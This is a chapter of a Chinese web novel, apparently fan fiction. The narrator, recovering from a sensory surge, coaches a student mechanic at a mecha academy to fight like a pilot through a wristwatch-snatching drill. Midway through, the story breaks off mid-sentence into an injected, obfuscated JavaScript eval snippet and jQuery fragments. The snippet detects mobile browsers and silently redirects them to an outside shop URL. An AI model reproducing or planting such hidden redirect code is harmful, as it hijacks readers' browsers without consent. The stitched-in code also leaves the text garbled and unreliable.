解语曼靠在墙上，她双手交叠，挡下你的掌击。
“怎么不用拳头？”解语曼问。
“留点力。”你说。
“……嚣张。”解语曼推开你的手，顺手又给了你一拳。
这一拳她用了十足的力，你没料到她还会攻击，只是下意识地格挡，被打出去好几步。
解语曼似乎还想打，结果你身体一软，直直倒地。
解语曼：“？”
你：“老师，我疼。”
感知突然爆发，即使你留了力，你的身体还是不可避免地疼起来。
解语曼：“……”
天道好轮回，曾经是卫三突然停下，现在轮到了你。
众人扶着你坐下，给你递来纸巾处理鼻血，你脸色苍白，身上哪里都疼，好在你能忍受。
解语曼：“脸色这么白，你感知爆发的时候都这样？”
你摇摇头，“现在的情况算好的，最疼的时候连呼吸都困难。”
现在你好歹还能坐着还能说话。
解语曼：“……井梯医生怎么说？”
你：“没招，只能忍。”
解语曼不再说什么，只宣布今天的训练到此为止。
训练也得需要一个好身体训。
卫三给你递来营养液，你拆开喝下。
廖如宁：“刚才你那一掌真不错，我还以为你会出拳。”
你：“谢谢。但是出拳我估计就躺治疗舱了。”
“感知提升太快，容易一下子收不住。”金珂说，“当初山宫波刃刚恢复原来的实力时，也差不多这样。”
卫三回想一番，“山宫波刃确实没收住，但是她收住了。”
金珂：“那是她自己留了力，如果她全力一击，说不定真就躺治疗舱了。”
你的关注点不在治疗舱上，“山宫波刃是那个南帕西的超3S级成员吗？”
霍宣山：“是。和你一样是超3S级轻型机甲单兵。”
你纠正他：“现在我是机甲师。”
应成河纠正你：“是兵师双修。”
廖如宁：“怎么，你想和他比一场？”
你瞥他，“我是想问他当时恢复原来的实力时是怎么样的。”
金珂：“不怎么样。当时他们作为暗处的独立军，一直在隐藏实力，后来才决定恢复。长期压制自己的实力，突然恢复，在联合训练时无法适应，被帝国军校的姬初雨打败。不过后续就是，他通过训练就恢复了，没你这么多事。”
你回想了一下，当时在星网看他们的比赛影像时，搜到了一些相关资讯，姬初雨当时还是备受瞩目的强力单兵，后来被卫□□超。
卫三挑眉：“未来说不定你会遇上他们。”
然后比一场。
你听懂卫三的言外之意，将染血的纸巾拿掉，“未来再说。”
现在不急。
身体的疼痛渐渐缓和，无事可做，你决定跟着卫三，去看她的教学。
依旧是那群学生，但你发现好像少了几个。
“他们去参加大赛了。”金珂说。
赫菲斯托斯大赛一直在举行，卫三那届以后，达摩克利斯军校重回巅峰，近几年一直在拿冠军。
只是参与大赛的各军校的主力学生们似乎回归了往届的正常水平，没有他们这届那么亮眼了。
卫三这届，成为了巅峰本身。
事物的发展总是螺旋上升的，这种变化也很正常，学生的实力有高有低，但总体上比之前的强。
金珂：“联邦还在搜寻新的超3S级，只是一直没有结果，不过倒是发现了不少3S级好苗子，全都来自无名星。”
这些好苗子也迅速被临近的主星军校带走，着重培养。
“星兽变化如何？”你问。
“还在进化。”金珂说，“它们进化的速度比我们要快，自从虫雾事件以后，没有奇怪的星兽干扰，很多地区的星兽实力在直线上升，部分地区出现了首领式的星兽。”
他的眼神一暗，“这也使得军区对付星兽难度也变高了，尽管我们都有了跨级机甲对付，取得了一定的阶段胜利，但是按照它们进化的速度，不久的将来依旧会进入相持阶段。”
所以联邦需要抓住跨级机甲这一势头，再度成长，将星兽按住，压制星兽的时间越长，未来才能取得更大的突破。
你沉默不语，只看向卫三。
卫三拉了几张长桌，桌上是各式各样的机甲部件，她正在做拆解示范，然后让学生来，他们学得很快，步骤清晰、动作利落。
“星兽进化不一定全是坏事。”应成河说，“材料越好，做出来的机甲也越好。现在打下基础，还可以给后辈留下宝贵的资源。”
你想起幻夜星的星兽，“幻夜星上的星兽很多，那里的稀有材料也很多吗？”
应成河皱眉，“按理说，应该是这样。”
金珂：“但幻夜星是例外。”
他解释，幻夜星的情况很复杂，比起拿到材料，把星兽杀干净才是更重要的事情。
金珂对你说：“再去一趟，你或许就懂了。”他想到什么，脸色有点无语，“想起当时看见你在一群星兽中间跑，我们都吓了一跳。”
你笑笑，“我记得你们当时好像没有被吓到的模样。”甚至还有点意料之内。
霍宣山：“因为发现是你，才觉得也没什么奇怪的。”
廖如宁瞥了金珂一眼，挡着嘴悄悄对你说：“金珂当时没见过你，所以他的反应最大。”
金珂：“……我听得见。”他一头黑线，“一个人不用机甲就在一群星兽中跑，里面还有不少是S级别的星兽，关键是她还全躲过去了，谁来了都吓一跳吧。”
“我没被吓。”廖如宁又对你说：“不过原来那时候你就有超3S级感知的迹象了。”
你：“……生存面前谁都能这么跑吧。”
霍宣山摇摇头，“你用单兵的身份回幻夜星一趟，你就不会这么想了。”
是吗。
你接着去看卫三，现在她在带着学生拆解一台完整的机甲，她进入教学机甲，挥动匕首，匕首插进机甲小臂上的关节，手腕一转，那个胳膊就这么被拆下来了。
“会回去的。”你说，“现在还不是时候。”
回去的时候，就好好看看那一双双眼睛到底长什么模样。
“这个月月底我们就回十三区了。”金珂说，“你尽快训练好，我们在十三区等你。”
距离月底没有多久了，你明明刚和他们相处没多久，又要分开。
你笑笑，回道：“好，不会让你们久等的。”
卫三的课程还在继续。
你发现有几个学生表现得很亮眼，在限时拆解机甲练习中，甚至还有剩余时间复原。
但是在机甲对抗的实战训练中的表现就有点不一样了，有的学生能跟上卫三的节奏，在卫三喂招的情况下打得有来有回，抓住了机会成功攻击到机甲的关节或者关键点，虽然没有能够拆卸，但你认为比上次观看时，进步大得多。
应该是下功夫了。
只是部分学生依旧有点摸不着头脑，他们的攻击招式仍然带着点卡壳，甚至有学生在战前磨蹭，不知道是在观察还是在犹豫。
廖如宁：“你们兵师双修战前磨蹭是传统？”
你：“……那叫观察。”
“切，那不都一样。”廖如宁一脸嫌弃，对最后一位实战的学生摇摇头，“我看他刚才拆解机甲的时候有模有样的，怎么这时候就不行了呢。”
霍宣山：“看他的动作，估计是把对战当步骤拆解学习了。”
卫三轻松将他放倒，告诉他出招不要犹豫。
随后他们退出机甲，进行动作复盘。卫三将刚才那名学生的动作当做反面教材示例，告诉他怎样才能更好地出招。
学生有点犹豫，他问：“为什么这里手要转一圈，直接攻击胳膊不行吗？”
卫三：“因为直接攻击对方很容易闪躲，转一圈能更加出其不意地攻击到对方。”
学生：“所以，这算是一种假动作？”
卫三：“对。”
学生：“那，假动作有逻辑吗？”
卫三：“假动作之所以是假动作，当然没有逻辑，它的存在就是扰乱对手，如果它有逻辑可循，那么单兵也会很快接住你的招式。”
学生：“哦……”
卫三又示范了几个动作，告诉他这些都是同样的招式，但因假动作不同而表现的效果也不同，它们最终的目的都是一样的。
廖如宁：“怎么连这都要讲逻辑，不都是为了把人打倒吗。”
你：“他不理解你们单兵的逻辑。”
廖如宁转头看你：“那要不你去给他说说，说不定他就能理解了。”
你真就起身，在他们怔愣的目光中朝卫三走去。
卫三还在讲解：“如果将来你们熟悉作战以后，很多动作都是下意识打出来的，所以不要像拆解机甲一样追求逻辑，明白了吗？”
学生似懂非懂：“……明白。”
“他不明白。”你走过来说。
卫三一愣，“你来做什么？”
“来给你当助教。”你说，“他不懂单兵的逻辑，可以换成他熟悉的说说。”
你看向那位学生，“我问你，你知道要将星兽的牙齿应用到武器中，需要做怎样的处理吗？”
学生很快就回答：“知道，要经过特殊处理，比如……”他开始罗列知识点与步骤，很清楚。
你点点头，打断他的话：“为什么要做特殊处理，不能直接用吗？”
他一愣，视线不自觉地扫过你手臂上代表机甲师的臂章，然后说：“当然不能，经过特殊处理之后，才能更好发挥它的价值。”
你点头，认可他的话：“所以单兵的作战也不能直来直往，它也需要经过‘特殊处理’，这样才能发挥更有效的攻击作用。”
学生眨了眨眼，他卡壳了。
你拿出腰包中的锤子，对准卫三，对他说：“我们举个例子，这是没有经过特殊处理的方式。”
你的锤子往前一刺，攻击卫三的脑袋，速度并不快，足够所有学生看清楚，卫三偏头躲过，随后你又一步一步地攻击，肩膀、胳膊、胸腔、腰腹、大腿，每一个攻击都是非常基础的刺、划，卫三只需要稍微侧侧身，她就躲过了你所有的招式，她甚至没有挪开半步。
“你看，卫三连一步都没挪开。”你说，“现在我们加一点‘特殊处理’。”
你又举起锤子，“依旧从脑袋开始。”但是你的锤子朝卫三的胳膊刺去，卫三依旧侧身躲开，此时你的锤子刚好在她的脑袋侧下方，你非常顺手地抬手向上划，锤子径直朝卫三的脑袋攻击，卫三出手，拍开了你的手臂。
“发现不同了吗？”你问学生。
他怔愣地点点头，“发现了，这回的攻击比刚才更有效。”
你笑笑，“说对了。”你拿着锤子往手上掂了掂，“这就是单兵作战的‘特殊处理’，每个单兵的作战方式不同，风格迥异，所以他们每个人都有属于自己的‘特殊处理’。”
你再次拿起锤子对准卫三，“这是卫三刚才教你们的攻击对方发动机的方式，很有她的风格。而我们的目标，是对方的胸腔。”
你将卫三的动作完美复刻，卫三配合你出招，你将她的双手弹开以后，手腕一转，迅速前刺，锤子稳稳点在她的肋骨间，那个地方，是许多机甲师打开机甲外壳修复发动机以及内部零件的小门。
你保持动作，转头问学生，“现在明白，为什么手要转一圈了吗？”
他瞪大眼睛，没有了刚才似懂非懂的表情，“明白了，所有的动作都是为了攻击有效而进行的。”
你收回动作，“明白就好。不过我还是建议你，不要用机甲师的思维去作战，要用单兵的思维去作战。”
他又眨了眨眼睛，“什么是单兵思维？”
“好问题。”你收起了锤子，“我问你几个问题就懂了。”
你问他：“你知道拆解发动机最简单的方法吗？”
“知道。它分为以下几步，第一步……”他很快回答你的问题。
你点点头，他的基础很牢固，答案无懈可击，“那你知道单兵拆除发动机需要哪些步骤吗？”
他卡壳，“单兵也知道拆除发动机吗？”
你扭头看向旁听的两位单兵，“告诉他，你们怎么拆除机甲的发动机。”
霍宣山照着他的模板回答：“两步，第一，打败对方，第二，挖出发动机。”
廖如宁：“一定要拆吗？能不能直接弄毁。”
你回头看向学生，“知道你和他们的差别了吗？”
学生犹豫道：“他们……更暴力？”
你摇摇头，“不，是他们面对的是活的机甲，而你面对的是静止不动的机甲。在作战时，单兵自己的生命也是危险的，在这种情况下，你认为他们还要思考怎么施展繁琐的步骤吗？”
他垂下了脑袋思考。
“你现在是一位兵师双修的学生，你要面对的不单是修复台上的机甲，还有战场上的机甲，未来还会独自面对凶残的星兽。”你对他说，“所以你需要即可转变自己的思维，从现在开始，你不但要用机甲师的脑袋去思考，还要用单兵的脑袋去思考。”
他的眼睛飞快地眨动。
“你可以重新回答我的问题了，拆除机甲发动机最简单的方法，有哪些？”你盯着他说。
“……直接拆，或者，打倒对方，然后再拆。”他答。
你满意地点点头，“回答正确。”
“可是，”他又有了新的问题，抬头看你，“如果我有能力直接打倒对方了，为什么还要拆掉对方的发动机？”
对这群机甲师来说，卫三交给他们的拆卸机甲的战斗方法他们有天然优势，如果能像单兵一样去战斗，又何必去学这些技巧。
他现在最大的问题，其实就是不懂得如何将学到的作战技巧与拆卸方法融合。
你弯了弯唇角，“那我问你，怎么打倒一个机甲单兵？”
他下意识地看了一眼卫三，小心地摇了摇头。
“没事，一会我们来做个实践，我准备一下东西。”你转身走向卫三准备的长桌，那里有一些机甲零件与材料。
卫三凑过来，“你要做什么？”
“做个手表。”你小声说，“帮我找找合适的材料。”
卫三不解，但还是帮你找了材料，你做出了个“手表”一样的东西，齿轮是“表盘”，带有韧性的材料绑在两边作为“表带”。
你拿着这个“手表”走到这位学生面前，“见过机械手表吗？”
这个东西放在这里算是“老派”物件，现在大多数人都用光脑看时间，很少人用手表。
“见过。”他答。
“好，把这个东西当做手表，戴在我手上。”你说。
他不太理解你的要求，但是他还是照做了。
“现在，你作为以为兵师双修，请你以最快的速度取下它。”你说。
他迅速照做，这个表带的扣子有点麻烦，取下来的时候他稍微耽搁了一下。
“我可以再试一次吗？”他主动问。
“可以。”
于是他又进行了两遍，最后取下的速度他认为最快。
你看向卫三。
“大概一秒半。”卫三说。
你戴上手表，对这位学生笑了笑，“你很斯文。”
学生不明所以，你将那只手伸到卫三面前，“现在，我们来看看成熟的兵师双修是怎么取下的。”
话音刚落，卫三直接一把扯下了那块手表，整个过程甚至不到半秒。
这位学生瞪大了眼睛。
你看了看手腕的红痕，又看了看他，“所以我说，你很斯文。”
他看着你的手腕一时间不知道说什么。
你将扯坏的手表递到他面前，“我刚刚就说过了，你要有两种思维去思考。”
他接过手表，低头沉默不语。
你又把手递到他面前，“修好它，我们再来。”
学生深呼吸一口气，他很快就修好了表带，又将它戴回你手上。
再次开始取下手表，他刚伸手要抓下，你却一把将他的手打开。
他一愣，你对他说：“你直接抓，我总得采取些防御手段吧。”
他屏息，再次伸手，你单手躲闪，又很轻易地将他的手拍开，学生憋着一口气，两只手齐上阵，和你正式“交手”。
他伸手想抓手表，但是你总能躲开，或者弹开他的手，于是他决定转变成抓住你的手，再抓手表，但是你将手腕一转，将他的胳膊扭开，轻易地就挣脱了他的手，还顺带一把将他的双手劈开，他似乎不觉得疼，被击开的双手又很快回来抓取目标。
周围人都看出了不对，你们分明就是在过招。
而这位学生似乎浑然不觉，他只沉浸在取不下手表的愤怒里，他的手速越来越快。
你稍稍挑眉，一只手左右推掌弹开他的双手，一掌击中他的肩膀。
他捂着肩膀有点不可思议，你一脸坦然：“进攻是最好的防守。”
你将那块手表亮在他面前，“过了这么久还没取下，这可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929983|213612||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你自己戴上去的，怎么，取不下来了？”
很明显的激将法，他却瞬间就上当了，果断抽出了自带的刮刀，向你的手腕袭击。
你依旧是单手与他过招，这回他学聪明了，知道不能只攻击你的手腕，于是攻击上了你的胳膊、你的肩膀。
他的招式越来越“狠”，你知道他在拼尽全力了。
最终，他在准备攻击你的腋下肋骨时，你侧身，稍稍卖了个空档，他果然抓住机会，手腕一转，刮刀从表带的扣子间插入，挑开，手表脱腕。
他稳稳接住了手表，举手兴奋道：“我拿到了！”
周围一片安静。
他刚才的动作，与卫三训练时完全不同，流畅、果断，还有一点假动作。
他没有学会卫三的方式，但是他打出了自己的招。
他后知后觉，怔愣地、缓缓地放下了手，有些不知所措地看着手里的两样东西。
“恭喜你，学会了怎么像一位兵师双修一样去战斗。”你说。
“做得不错。”一旁的卫三简单鼓掌。
围观的学生也不可思议地鼓掌，他们对他的开窍感到震惊。
见他还在回神，你趁热打铁，问他：“我们回到刚刚的问题，我想现在你应该也能回答了，请问，怎么打倒一名机甲单兵？”
他看了看你，又看了看手中的战利品，再抬头时，已然一扫刚才迷茫的表情，他直接了当道：“什么都别想，直接打。”
看来他不用再追求逻辑了，他知道怎么像一个单兵一样去作战了。
你笑了笑，“恭喜你学会了。现在……”你捏着他的肩膀转向卫三，“你的卫三老师在那里，去，攻击她，检验你的学习成果，一雪前耻。”
“等等……我、我？我打卫三老师？”他又开始结巴。
学生天然怕老师，更何况对方是联邦现存的唯一一位正式的兵师双修。
“别怕，像你刚才说的，‘直接打’。”你鼓励他。
对面的卫三挑眉看他，什么也没说。
他咽了咽唾沫，深呼吸一口，拿着刮刀就上了。
卫三一把抓住他的手腕，随后一提，一记过肩摔就把他摔打在地，疼得他直咳嗽。
你啧啧摇头，“你干嘛不给他喂招。”
“他都学会了还喂什么招。”卫三拍拍手，冷酷无情道：“既然开窍了，以后就用单兵的方式去训练，保证他还会有更大的进步。”
刚爬起来的学生：“……”他忽然觉得脖子凉嗖嗖的、屁股也凉嗖嗖的。
“真残忍。”你用一言难尽的表情看卫三，好像在替学生谴责。
你挥挥手，“随你吧。我回去旁听了。”
卫三上来一把抓住你，“回去做什么，留下来接着当我的助教。”
“我才不要。”你挣开她的手，“我现在是机甲师，又不是兵师双修。你快松手。”
什么兵师双修，你不认识。
“双不双修的重要吗，反正他们不够你打。”卫三手劲一点没小，反而越来越大，“这么会教，早知道就把你拉来了，我还能躲躲懒。”
后面一句她嘀咕说出来的，现场还有别的老师在看，她不能说得那么明显。
你刚想说话，卫三一把揽住你的肩膀，背对学生，在你耳边说：“我做的够多了，你又是个大好人，看在你还欠着我钱的份上，你就帮我代代课，反正效果不会差，我相信你。”
说着，她把你转过来面对学生，“让我们欢迎助教老师！现在就由她带领你们开开窍！”
卫三把好话坏话全说完，拍拍你的肩膀，果断开溜。
她坐在旁听席，对你竖起大拇指，其他四人纷纷效仿，都给你竖起大拇指。
你：“……”
你捏了捏眉心，服了她。
转身看向那群睁着清澈眼神的学生们，你拍了拍身上不存在的灰，对他们说：“现在，我们一个一个地来过手。”
你单手推掌，示意他们上前。
有基础的学生将卫三教的知识学得很好，你闭着眼都知道他们下一刻会出什么招。你轻轻叹气，没有用什么特别华丽的招数格挡，只是简单的劈手推掌就解决了他们。
遇到基础稍微差的，你放慢了速度，带着他们的节奏慢慢来，让他们体会“过招”的感觉，在他们进入状态以后，你果断劈手，结束对招训练。
“你们的基础比较差劲。”你说，“回去要好好练基本功，哪怕是学习卫三的技巧，那也需要强大的基本功才能打出更好的效果。”
你将动作拆解，给他们看，像卫三那样。
他们很多人都喜欢用卫三的招式，你全都完美复刻出来，并告诉他们这些动作背后，都有哪些意图，方便他们理解，以便更好学习。
部分学生消化不来卫三的技巧，于是你打出了和卫三风格不同的招数，简单直接的、迂回曲折的、使用蛮力的，你都用最基础、最直观的招式打出。
那些学生很快学会适合自己的风格。
临近下课，你望向旁听席，那里已经没有人了，你看了看光脑，卫三给你留言说他们先去食堂打饭，问你想吃什么。
你看着卫三发来的菜谱，报了几个菜名。
卫三不在，旁观的教师也走得差不多了，学生的胆子也大了起来。
“老师，你也是兵师双修吗？”有一位学生举手询问。
“……我不是，我是机甲师。”你答。
“现在不是吗？”她又接着问。
“问这个没有意义。”你说，“教你们的话，我的身手足够了。”
“那你和卫三老师关系很好吗？”又有人问。
“问这个做什么？”
那名学生有点扭捏，“我想要一张卫三的老师签名，写在签名板上的那种。”
你嘴角抽了抽，“先学会怎么出手再说吧，她的签名哪那么容易就拿到。”
那名学生有点失望，“怎么和卫三老师的说法一样。”
“老师，你还知道卫三老师有哪些招，我还想学。”又有人举手道。
你沉默一会，“就这么喜欢她的招式？”这名学生虽然打得好，但全是在模仿卫三，一旦用上其他的招式，她就有点学不来了。
她有点不好意思，“我喜欢她，她是我偶像，当然想多学学她的招式。”
“你想成为她吗？”你问。
“当然想！”她毫不犹豫地回答，“虽然我的感知没那么厉害，但是谁不想成为名动联邦的兵师双修。”
她的眼睛很亮，不仅是她，还有不少学生的眼神都和她一样，他们都很喜欢卫三，对于卫三的招式，他们学得很像样。
但是你并不认同这种学习方法，你认为模仿是为了自己的进步，而不是成为某一个人。
你摇摇头，说：“先练好基本功再说吧。”
宣布课程结束，你刚打算走，就有学生喊住你，是那名和你对手的学生，他拿着那个“手表”，问你：“我可以带走这个吗？”
“想拿就拿吧。”你无所谓。
他很开心地把东西戴上了手腕，向自己的同学宣布这就是他的战利品。
你无奈，离开训练场，走向食堂。
卫三打好了饭菜，他们还没吃，等你一起来。
“教得怎么样？”卫三问。
“一般。”你答。
霍宣山：“你刚才教得不是挺好的，那个学生一下就学会了。”
廖如宁：“原来你还有当老师的潜质。”
你：“……只是刚好对症下药罢了。”
金珂：“那你这药药效还挺好。”
卫三想了想，“部分学生不太适合我的教学方式，虽然我尽力了，但是他们的吸收依旧一般，说不定你还真能教会他们。”她看向你，“我们回十三区以后，说不定你还能接一接我的课。”
你却摇了摇头，“教不来。”
“怎么？”
“我不太认同他们的学习思想。”你说，“他们很多人都想着成为你，不断地模仿你，这怎么能学好。”
应成河：“学习不就是从模仿开始的？你不也学解老师的招式学得很好，跟她交手之后就会了。”
廖如宁接一句：“卫三也这样，跟人对战一下就会了，你们兵师双修都这样？”
卫三挑眉：“天生的。”
霍宣山看向有些沉默的你，“你怎么想？”
“不怎么想。”你说，“这件事以后再说吧，我现在也有很多训练要做。”
他们互相对视一眼，不再讨论这件事，开始闲聊。
这顿午饭在闲聊中结束。